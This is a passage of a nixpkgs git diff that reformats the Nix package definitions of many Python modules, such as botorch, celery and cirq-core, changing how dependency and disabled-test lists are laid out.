+  ]
+  ++ lib.optionals runTorchTests [ torch ];
 
   passthru.c-blosc2 = c-blosc2;
 
diff --git a/pkgs/development/python-modules/bork/default.nix b/pkgs/development/python-modules/bork/default.nix
index 31e0e4e82b6a..75f3a3ab5af5 100644
--- a/pkgs/development/python-modules/bork/default.nix
+++ b/pkgs/development/python-modules/bork/default.nix
@@ -38,16 +38,15 @@ buildPythonPackage rec {
     "urllib3"
   ];
 
-  dependencies =
-    [
-      build
-      coloredlogs
-      packaging
-      pip
-      urllib3
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ toml ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  dependencies = [
+    build
+    coloredlogs
+    packaging
+    pip
+    urllib3
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ toml ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   pythonImportsCheck = [
     "bork"
diff --git a/pkgs/development/python-modules/botorch/default.nix b/pkgs/development/python-modules/botorch/default.nix
index d1ba33b5664d..6bc5764d2fe9 100644
--- a/pkgs/development/python-modules/botorch/default.nix
+++ b/pkgs/development/python-modules/botorch/default.nix
@@ -47,31 +47,30 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      "test_all_cases_covered"
+  disabledTests = [
+    "test_all_cases_covered"
 
-      # Skip tests that take too much time
-      "TestQMultiObjectivePredictiveEntropySearch"
-      "TestQPredictiveEntropySearch"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeError: Boolean value of Tensor with more than one value is ambiguous
-      "test_optimize_acqf_mixed_binary_only"
-    ]
-    ++ lib.optionals (stdenv.buildPlatform.system == "x86_64-linux") [
-      # stuck tests on hydra
-      "test_moo_predictive_entropy_search"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # RuntimeError: required keyword attribute 'value' has the wrong type
-      "test_posterior_in_trace_mode"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      # Numerical error slightly above threshold
-      # AssertionError: Tensor-likes are not close!
-      "test_model_list_gpytorch_model"
-    ];
+    # Skip tests that take too much time
+    "TestQMultiObjectivePredictiveEntropySearch"
+    "TestQPredictiveEntropySearch"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeError: Boolean value of Tensor with more than one value is ambiguous
+    "test_optimize_acqf_mixed_binary_only"
+  ]
+  ++ lib.optionals (stdenv.buildPlatform.system == "x86_64-linux") [
+    # stuck tests on hydra
+    "test_moo_predictive_entropy_search"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # RuntimeError: required keyword attribute 'value' has the wrong type
+    "test_posterior_in_trace_mode"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    # Numerical error slightly above threshold
+    # AssertionError: Tensor-likes are not close!
+    "test_model_list_gpytorch_model"
+  ];
 
   pythonImportsCheck = [ "botorch" ];
 
diff --git a/pkgs/development/python-modules/bottle/default.nix b/pkgs/development/python-modules/bottle/default.nix
index 33239ef0b163..8b52cb69188f 100644
--- a/pkgs/development/python-modules/bottle/default.nix
+++ b/pkgs/development/python-modules/bottle/default.nix
@@ -25,21 +25,20 @@ buildPythonPackage rec {
     cd test
   '';
 
-  disabledTests =
-    [
-      "test_delete_cookie"
-      "test_error"
-      "test_error_in_generator_callback"
-      # timing sensitive
-      "test_ims"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # https://github.com/bottlepy/bottle/issues/1422
-      # ModuleNotFoundError: No module named 'bottle.ext'
-      "test_data_import"
-      "test_direkt_import"
-      "test_from_import"
-    ];
+  disabledTests = [
+    "test_delete_cookie"
+    "test_error"
+    "test_error_in_generator_callback"
+    # timing sensitive
+    "test_ims"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # https://github.com/bottlepy/bottle/issues/1422
+    # ModuleNotFoundError: No module named 'bottle.ext'
+    "test_data_import"
+    "test_direkt_import"
+    "test_from_import"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/bpython/default.nix b/pkgs/development/python-modules/bpython/default.nix
index 51656522a36b..4635e357d368 100644
--- a/pkgs/development/python-modules/bpython/default.nix
+++ b/pkgs/development/python-modules/bpython/default.nix
@@ -58,7 +58,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "bpython" ];
 
diff --git a/pkgs/development/python-modules/bravado-core/default.nix b/pkgs/development/python-modules/bravado-core/default.nix
index e3832e5ed550..6392c1a8fa99 100644
--- a/pkgs/development/python-modules/bravado-core/default.nix
+++ b/pkgs/development/python-modules/bravado-core/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     swagger-spec-validator
     pytz
     msgpack
-  ] ++ jsonschema.optional-dependencies.format-nongpl;
+  ]
+  ++ jsonschema.optional-dependencies.format-nongpl;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/breezy/default.nix b/pkgs/development/python-modules/breezy/default.nix
index 67a8ff0b944c..a46d611f18ea 100644
--- a/pkgs/development/python-modules/breezy/default.nix
+++ b/pkgs/development/python-modules/breezy/default.nix
@@ -60,20 +60,19 @@ buildPythonPackage rec {
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
-  propagatedBuildInputs =
-    [
-      configobj
-      dulwich
-      fastbencode
-      merge3
-      patiencediff
-      pyyaml
-      tzlocal
-      urllib3
-    ]
-    ++ optional-dependencies.launchpad
-    ++ optional-dependencies.fastimport
-    ++ optional-dependencies.github;
+  propagatedBuildInputs = [
+    configobj
+    dulwich
+    fastbencode
+    merge3
+    patiencediff
+    pyyaml
+    tzlocal
+    urllib3
+  ]
+  ++ optional-dependencies.launchpad
+  ++ optional-dependencies.fastimport
+  ++ optional-dependencies.github;
 
   optional-dependencies = {
     launchpad = [ launchpadlib ];
diff --git a/pkgs/development/python-modules/build/default.nix b/pkgs/development/python-modules/build/default.nix
index ec12662ecc45..2c0bdc5d731c 100644
--- a/pkgs/development/python-modules/build/default.nix
+++ b/pkgs/development/python-modules/build/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     packaging
     pyproject-hooks
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   # We need to disable tests because this package is part of the bootstrap chain
   # and its test dependencies cannot be built yet when this is being built.
@@ -77,24 +78,23 @@ buildPythonPackage rec {
 
       __darwinAllowLocalNetworking = true;
 
-      disabledTests =
-        [
-          # Tests often fail with StopIteration
-          "test_isolat"
-          "test_default_pip_is_never_too_old"
-          "test_build"
-          "test_with_get_requires"
-          "test_init"
-          "test_output"
-          "test_wheel_metadata"
-          # Tests require network access to run pip install
-          "test_verbose_output"
-          "test_requirement_installation"
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [
-          # Expects Apple's Python and its quirks
-          "test_can_get_venv_paths_with_conflicting_default_scheme"
-        ];
+      disabledTests = [
+        # Tests often fail with StopIteration
+        "test_isolat"
+        "test_default_pip_is_never_too_old"
+        "test_build"
+        "test_with_get_requires"
+        "test_init"
+        "test_output"
+        "test_wheel_metadata"
+        # Tests require network access to run pip install
+        "test_verbose_output"
+        "test_requirement_installation"
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [
+        # Expects Apple's Python and its quirks
+        "test_can_get_venv_paths_with_conflicting_default_scheme"
+      ];
     };
   };
 
diff --git a/pkgs/development/python-modules/bundlewrap/default.nix b/pkgs/development/python-modules/bundlewrap/default.nix
index 98d07040218b..0ebbaf458164 100644
--- a/pkgs/development/python-modules/bundlewrap/default.nix
+++ b/pkgs/development/python-modules/bundlewrap/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
     requests
     tomlkit
     librouteros
-  ] ++ lib.optionals (pythonOlder "3.11") [ rtoml ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ rtoml ];
 
   pythonImportsCheck = [ "bundlewrap" ];
 
diff --git a/pkgs/development/python-modules/bx-py-utils/default.nix b/pkgs/development/python-modules/bx-py-utils/default.nix
index 7c1a7c3a848f..b3e7d4184d33 100644
--- a/pkgs/development/python-modules/bx-py-utils/default.nix
+++ b/pkgs/development/python-modules/bx-py-utils/default.nix
@@ -78,13 +78,14 @@ buildPythonPackage rec {
     "test_assert_html_snapshot_by_css_selector"
   ];
 
-  disabledTestPaths =
-    [ "bx_py_utils_tests/tests/test_project_setup.py" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # processify() doesn't work under darwin
-      # https://github.com/boxine/bx_py_utils/issues/80
-      "bx_py_utils_tests/tests/test_processify.py"
-    ];
+  disabledTestPaths = [
+    "bx_py_utils_tests/tests/test_project_setup.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # processify() doesn't work under darwin
+    # https://github.com/boxine/bx_py_utils/issues/80
+    "bx_py_utils_tests/tests/test_processify.py"
+  ];
 
   meta = {
     description = "Various Python utility functions";
diff --git a/pkgs/development/python-modules/bytewax/default.nix b/pkgs/development/python-modules/bytewax/default.nix
index 8cc88f937900..8e1b05563924 100644
--- a/pkgs/development/python-modules/bytewax/default.nix
+++ b/pkgs/development/python-modules/bytewax/default.nix
@@ -82,7 +82,8 @@ buildPythonPackage rec {
     myst-docutils
     pytestCheckHook
     pytest-benchmark
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "--benchmark-disable"
diff --git a/pkgs/development/python-modules/cachecontrol/default.nix b/pkgs/development/python-modules/cachecontrol/default.nix
index f3b82354538c..fdcfbe5c24f4 100644
--- a/pkgs/development/python-modules/cachecontrol/default.nix
+++ b/pkgs/development/python-modules/cachecontrol/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     mock
     pytestCheckHook
     requests
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "cachecontrol" ];
 
diff --git a/pkgs/development/python-modules/cairocffi/default.nix b/pkgs/development/python-modules/cairocffi/default.nix
index bbcdbfb5fff8..3ea6b438e158 100644
--- a/pkgs/development/python-modules/cairocffi/default.nix
+++ b/pkgs/development/python-modules/cairocffi/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     cairo
     cffi
-  ] ++ lib.optional withXcffib xcffib;
+  ]
+  ++ lib.optional withXcffib xcffib;
 
   nativeCheckInputs = [
     numpy
diff --git a/pkgs/development/python-modules/camel-converter/default.nix b/pkgs/development/python-modules/camel-converter/default.nix
index 424e6a6046be..258786d90811 100644
--- a/pkgs/development/python-modules/camel-converter/default.nix
+++ b/pkgs/development/python-modules/camel-converter/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-cov-stub
-  ] ++ optional-dependencies.pydantic;
+  ]
+  ++ optional-dependencies.pydantic;
 
   pythonImportsCheck = [ "camel_converter" ];
 
diff --git a/pkgs/development/python-modules/canals/default.nix b/pkgs/development/python-modules/canals/default.nix
index cc86fa4637a3..2864939e54ec 100644
--- a/pkgs/development/python-modules/canals/default.nix
+++ b/pkgs/development/python-modules/canals/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTestPaths = [
     # Test requires internet connection to mermaid.ink
diff --git a/pkgs/development/python-modules/canmatrix/default.nix b/pkgs/development/python-modules/canmatrix/default.nix
index 372a8ed685fb..f55b11bead73 100644
--- a/pkgs/development/python-modules/canmatrix/default.nix
+++ b/pkgs/development/python-modules/canmatrix/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     click
     future
     six
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   optional-dependencies = {
     arxml = [ lxml ];
@@ -65,7 +66,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     # long_envvar_name_imports requires stable key value pair ordering
diff --git a/pkgs/development/python-modules/cantools/default.nix b/pkgs/development/python-modules/cantools/default.nix
index 2a039cdba6db..f55284099a68 100644
--- a/pkgs/development/python-modules/cantools/default.nix
+++ b/pkgs/development/python-modules/cantools/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     parameterized
     pytestCheckHook
-  ] ++ optional-dependencies.plot;
+  ]
+  ++ optional-dependencies.plot;
 
   pythonImportsCheck = [ "cantools" ];
 
diff --git a/pkgs/development/python-modules/cartopy/default.nix b/pkgs/development/python-modules/cartopy/default.nix
index 9b40977a9213..42cc8eeeb169 100644
--- a/pkgs/development/python-modules/cartopy/default.nix
+++ b/pkgs/development/python-modules/cartopy/default.nix
@@ -69,7 +69,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-mpl
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export FONTCONFIG_FILE=${fontconfig.out}/etc/fonts/fonts.conf
diff --git a/pkgs/development/python-modules/cassandra-driver/default.nix b/pkgs/development/python-modules/cassandra-driver/default.nix
index 20923a4ea908..55fb75388eb0 100644
--- a/pkgs/development/python-modules/cassandra-driver/default.nix
+++ b/pkgs/development/python-modules/cassandra-driver/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytz
     pyyaml
     sure
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # This is used to determine the version of cython that can be used
   CASS_DRIVER_ALLOWED_CYTHON_VERSION = cython.version;
diff --git a/pkgs/development/python-modules/cattrs/default.nix b/pkgs/development/python-modules/cattrs/default.nix
index f0f94f4674f1..d78734f2e0d9 100644
--- a/pkgs/development/python-modules/cattrs/default.nix
+++ b/pkgs/development/python-modules/cattrs/default.nix
@@ -59,12 +59,13 @@ buildPythonPackage rec {
     hatch-vcs
   ];
 
-  dependencies =
-    [ attrs ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      exceptiongroup
-      typing-extensions
-    ];
+  dependencies = [
+    attrs
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    exceptiongroup
+    typing-extensions
+  ];
 
   nativeCheckInputs = [
     cbor2
@@ -99,18 +100,17 @@ buildPythonPackage rec {
     "bench"
   ];
 
-  disabledTests =
-    [
-      # orjson is not available as it requires Rust nightly features to compile its requirements
-      "test_orjson"
-      # msgspec causes a segmentation fault for some reason
-      "test_simple_classes"
-      "test_msgspec_json_converter"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/python-attrs/cattrs/pull/543
-      "test_unstructure_deeply_nested_generics_list"
-    ];
+  disabledTests = [
+    # orjson is not available as it requires Rust nightly features to compile its requirements
+    "test_orjson"
+    # msgspec causes a segmentation fault for some reason
+    "test_simple_classes"
+    "test_msgspec_json_converter"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/python-attrs/cattrs/pull/543
+    "test_unstructure_deeply_nested_generics_list"
+  ];
 
   pythonImportsCheck = [ "cattr" ];
 
diff --git a/pkgs/development/python-modules/causal-conv1d/default.nix b/pkgs/development/python-modules/causal-conv1d/default.nix
index bf7d8c176f5f..924cc8b07df3 100644
--- a/pkgs/development/python-modules/causal-conv1d/default.nix
+++ b/pkgs/development/python-modules/causal-conv1d/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
 
   env = {
     CAUSAL_CONV1D_FORCE_BUILD = "TRUE";
-  } // lib.optionalAttrs cudaSupport { CUDA_HOME = "${lib.getDev cudaPackages.cuda_nvcc}"; };
+  }
+  // lib.optionalAttrs cudaSupport { CUDA_HOME = "${lib.getDev cudaPackages.cuda_nvcc}"; };
 
   meta = with lib; {
     description = "Causal depthwise conv1d in CUDA with a PyTorch interface";
diff --git a/pkgs/development/python-modules/celery/default.nix b/pkgs/development/python-modules/celery/default.nix
index fcfd5d1ddc60..0538c7b730c6 100644
--- a/pkgs/development/python-modules/celery/default.nix
+++ b/pkgs/development/python-modules/celery/default.nix
@@ -83,7 +83,8 @@ buildPythonPackage rec {
     pytest-timeout
     pytest-xdist
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTestPaths = [
     # test_eventlet touches network
@@ -95,26 +96,25 @@ buildPythonPackage rec {
     "t/unit/backends/test_s3.py"
   ];
 
-  disabledTests =
-    [
-      "msgpack"
-      "test_check_privileges_no_fchown"
-      # seems to only fail on higher core counts
-      # AssertionError: assert 3 == 0
-      "test_setup_security_disabled_serializers"
-      # Test is flaky, especially on hydra
-      "test_ready"
-      # Tests fail with pytest-xdist
-      "test_itercapture_limit"
-      "test_stamping_headers_in_options"
-      "test_stamping_with_replace"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Too many open files on hydra
-      "test_cleanup"
-      "test_with_autoscaler_file_descriptor_safety"
-      "test_with_file_descriptor_safety"
-    ];
+  disabledTests = [
+    "msgpack"
+    "test_check_privileges_no_fchown"
+    # seems to only fail on higher core counts
+    # AssertionError: assert 3 == 0
+    "test_setup_security_disabled_serializers"
+    # Test is flaky, especially on hydra
+    "test_ready"
+    # Tests fail with pytest-xdist
+    "test_itercapture_limit"
+    "test_stamping_headers_in_options"
+    "test_stamping_with_replace"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Too many open files on hydra
+    "test_cleanup"
+    "test_with_autoscaler_file_descriptor_safety"
+    "test_with_file_descriptor_safety"
+  ];
 
   pythonImportsCheck = [ "celery" ];
 
diff --git a/pkgs/development/python-modules/cement/default.nix b/pkgs/development/python-modules/cement/default.nix
index 85071fbb0301..6b79a7ca1a25 100644
--- a/pkgs/development/python-modules/cement/default.nix
+++ b/pkgs/development/python-modules/cement/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     requests
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "cement" ];
 
diff --git a/pkgs/development/python-modules/certomancer/default.nix b/pkgs/development/python-modules/certomancer/default.nix
index afda68490e95..1fae518cb3e4 100644
--- a/pkgs/development/python-modules/certomancer/default.nix
+++ b/pkgs/development/python-modules/certomancer/default.nix
@@ -71,7 +71,8 @@ buildPythonPackage rec {
     pytestCheckHook
     pytz
     requests
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "certomancer" ];
 
diff --git a/pkgs/development/python-modules/cf-xarray/default.nix b/pkgs/development/python-modules/cf-xarray/default.nix
index b14205bcc70b..bb6532713abb 100644
--- a/pkgs/development/python-modules/cf-xarray/default.nix
+++ b/pkgs/development/python-modules/cf-xarray/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     dask
     pytestCheckHook
     scipy
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "cf_xarray" ];
 
diff --git a/pkgs/development/python-modules/cfn-lint/default.nix b/pkgs/development/python-modules/cfn-lint/default.nix
index 1b56111cb8ef..b13885318ae2 100644
--- a/pkgs/development/python-modules/cfn-lint/default.nix
+++ b/pkgs/development/python-modules/cfn-lint/default.nix
@@ -69,7 +69,8 @@ buildPythonPackage rec {
     defusedxml
     mock
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export PATH=$out/bin:$PATH
diff --git a/pkgs/development/python-modules/cgal/default.nix b/pkgs/development/python-modules/cgal/default.nix
index fe91cb60505c..46251662a624 100644
--- a/pkgs/development/python-modules/cgal/default.nix
+++ b/pkgs/development/python-modules/cgal/default.nix
@@ -39,19 +39,18 @@ buildPythonPackage rec {
     swig
   ];
 
-  buildInputs =
-    [
-      cgal
-      gmp
-      mpfr
-      boost
-      zlib
-      tbb
-      eigen
-    ]
-    ++ lib.optionals withLAS [
-      LAStools
-    ];
+  buildInputs = [
+    cgal
+    gmp
+    mpfr
+    boost
+    zlib
+    tbb
+    eigen
+  ]
+  ++ lib.optionals withLAS [
+    LAStools
+  ];
 
   dependencies = [
     numpy
diff --git a/pkgs/development/python-modules/channels/default.nix b/pkgs/development/python-modules/channels/default.nix
index d0fa6b4596c3..e1996d08add3 100644
--- a/pkgs/development/python-modules/channels/default.nix
+++ b/pkgs/development/python-modules/channels/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-django
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "channels" ];
 
diff --git a/pkgs/development/python-modules/check-manifest/default.nix b/pkgs/development/python-modules/check-manifest/default.nix
index d3ec667342fa..53b4f7476401 100644
--- a/pkgs/development/python-modules/check-manifest/default.nix
+++ b/pkgs/development/python-modules/check-manifest/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
     build
     pep517
     setuptools
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [
     git
diff --git a/pkgs/development/python-modules/cheroot/default.nix b/pkgs/development/python-modules/cheroot/default.nix
index 2b4c9f427acb..85f2c8e89627 100644
--- a/pkgs/development/python-modules/cheroot/default.nix
+++ b/pkgs/development/python-modules/cheroot/default.nix
@@ -71,16 +71,15 @@ buildPythonPackage rec {
     rm pytest.ini
   '';
 
-  disabledTests =
-    [
-      "tls" # touches network
-      "peercreds_unix_sock" # test urls no longer allowed
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "http_over_https_error"
-      "bind_addr_unix"
-      "test_ssl_env"
-    ];
+  disabledTests = [
+    "tls" # touches network
+    "peercreds_unix_sock" # test urls no longer allowed
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "http_over_https_error"
+    "bind_addr_unix"
+    "test_ssl_env"
+  ];
 
   disabledTestPaths = [
     # avoid attempting to use 3 packages not available on nixpkgs
diff --git a/pkgs/development/python-modules/cherrypy/default.nix b/pkgs/development/python-modules/cherrypy/default.nix
index fbef13be43ad..1b6b469589c3 100644
--- a/pkgs/development/python-modules/cherrypy/default.nix
+++ b/pkgs/development/python-modules/cherrypy/default.nix
@@ -71,36 +71,35 @@ buildPythonPackage rec {
     "ignore::DeprecationWarning"
   ];
 
-  disabledTests =
-    [
-      # Keyboard interrupt ends test suite run
-      "KeyboardInterrupt"
-      # daemonize and autoreload tests have issue with sockets within sandbox
-      "daemonize"
-      "Autoreload"
+  disabledTests = [
+    # Keyboard interrupt ends test suite run
+    "KeyboardInterrupt"
+    # daemonize and autoreload tests have issue with sockets within sandbox
+    "daemonize"
+    "Autoreload"
 
-      "test_antistampede"
-      "test_file_stream"
-      "test_basic_request"
-      "test_3_Redirect"
-      "test_4_File_deletion"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.11") [
-      "testErrorHandling"
-      "testHookErrors"
-      "test_HTTP10_KeepAlive"
-      "test_No_Message_Body"
-      "test_HTTP11_Timeout"
-      "testGzip"
-      "test_malformed_header"
-      "test_no_content_length"
-      "test_post_filename_with_special_characters"
-      "test_post_multipart"
-      "test_iterator"
-      "test_1_Ram_Concurrency"
-      "test_2_File_Concurrency"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_block" ];
+    "test_antistampede"
+    "test_file_stream"
+    "test_basic_request"
+    "test_3_Redirect"
+    "test_4_File_deletion"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.11") [
+    "testErrorHandling"
+    "testHookErrors"
+    "test_HTTP10_KeepAlive"
+    "test_No_Message_Body"
+    "test_HTTP11_Timeout"
+    "testGzip"
+    "test_malformed_header"
+    "test_no_content_length"
+    "test_post_filename_with_special_characters"
+    "test_post_multipart"
+    "test_iterator"
+    "test_1_Ram_Concurrency"
+    "test_2_File_Concurrency"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_block" ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     "cherrypy/test/test_config_server.py"
diff --git a/pkgs/development/python-modules/cirq-core/default.nix b/pkgs/development/python-modules/cirq-core/default.nix
index 7dbf44955694..7391d4563145 100644
--- a/pkgs/development/python-modules/cirq-core/default.nix
+++ b/pkgs/development/python-modules/cirq-core/default.nix
@@ -53,29 +53,28 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      attrs
-      duet
-      matplotlib
-      networkx
-      numpy
-      pandas
-      requests
-      scipy
-      sortedcontainers
-      sympy
-      tqdm
-      typing-extensions
-    ]
-    ++ lib.optionals withContribRequires [
-      autoray
-      opt-einsum
-      ply
-      pylatex
-      pyquil
-      quimb
-    ];
+  dependencies = [
+    attrs
+    duet
+    matplotlib
+    networkx
+    numpy
+    pandas
+    requests
+    scipy
+    sortedcontainers
+    sympy
+    tqdm
+    typing-extensions
+  ]
+  ++ lib.optionals withContribRequires [
+    autoray
+    opt-einsum
+    ply
+    pylatex
+    pyquil
+    quimb
+  ];
 
   nativeCheckInputs = [
     freezegun
@@ -90,19 +89,18 @@ buildPythonPackage rec {
     "cirq/_version_test.py"
   ];
 
-  disabledTests =
-    [
-      # Assertion error
-      "test_parameterized_cphase"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      # https://github.com/quantumlib/Cirq/issues/5924
-      "test_prepare_two_qubit_state_using_sqrt_iswap"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # test_scalar_division[scalar9-terms9-terms_expected9] result differs in the final digit
-      "test_scalar_division"
-    ];
+  disabledTests = [
+    # Assertion error
+    "test_parameterized_cphase"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    # https://github.com/quantumlib/Cirq/issues/5924
+    "test_prepare_two_qubit_state_using_sqrt_iswap"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # test_scalar_division[scalar9-terms9-terms_expected9] result differs in the final digit
+    "test_scalar_division"
+  ];
 
   meta = {
     description = "Framework for creating, editing, and invoking Noisy Intermediate Scale Quantum (NISQ) circuits";
diff --git a/pkgs/development/python-modules/cirq-google/default.nix b/pkgs/development/python-modules/cirq-google/default.nix
index 91da79a13348..6737ce491da3 100644
--- a/pkgs/development/python-modules/cirq-google/default.nix
+++ b/pkgs/development/python-modules/cirq-google/default.nix
@@ -27,7 +27,8 @@ buildPythonPackage rec {
     google-api-core
     protobuf
     typedunits
-  ] ++ google-api-core.optional-dependencies.grpc;
+  ]
+  ++ google-api-core.optional-dependencies.grpc;
 
   nativeCheckInputs = [
     freezegun
diff --git a/pkgs/development/python-modules/claripy/default.nix b/pkgs/development/python-modules/claripy/default.nix
index e68e7d869d60..6ab586ac6db8 100644
--- a/pkgs/development/python-modules/claripy/default.nix
+++ b/pkgs/development/python-modules/claripy/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     pysmt
     typing-extensions
     z3-solver
-  ] ++ z3-solver.requiredPythonModules;
+  ]
+  ++ z3-solver.requiredPythonModules;
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/cleanlab/default.nix b/pkgs/development/python-modules/cleanlab/default.nix
index f88e85a9e336..e6513cb85623 100644
--- a/pkgs/development/python-modules/cleanlab/default.nix
+++ b/pkgs/development/python-modules/cleanlab/default.nix
@@ -79,23 +79,22 @@ buildPythonPackage rec {
     wget
   ];
 
-  disabledTests =
-    [
-      # Requires the datasets we prevent from downloading
-      "test_create_imagelab"
+  disabledTests = [
+    # Requires the datasets we prevent from downloading
+    "test_create_imagelab"
 
-      # Non-trivial numpy2 incompatibilities
-      # assert np.float64(0.492) == 0.491
-      "test_duplicate_points_have_similar_scores"
-      # AssertionError: assert 'Annotators [1] did not label any examples.'
-      "test_label_quality_scores_multiannotator"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # AttributeError: 'called_once_with' is not a valid assertion.
-      # Use a spec for the mock if 'called_once_with' is meant to be an attribute..
-      # Did you mean: 'assert_called_once_with'?
-      "test_custom_issue_manager_not_registered"
-    ];
+    # Non-trivial numpy2 incompatibilities
+    # assert np.float64(0.492) == 0.491
+    "test_duplicate_points_have_similar_scores"
+    # AssertionError: assert 'Annotators [1] did not label any examples.'
+    "test_label_quality_scores_multiannotator"
+  ]
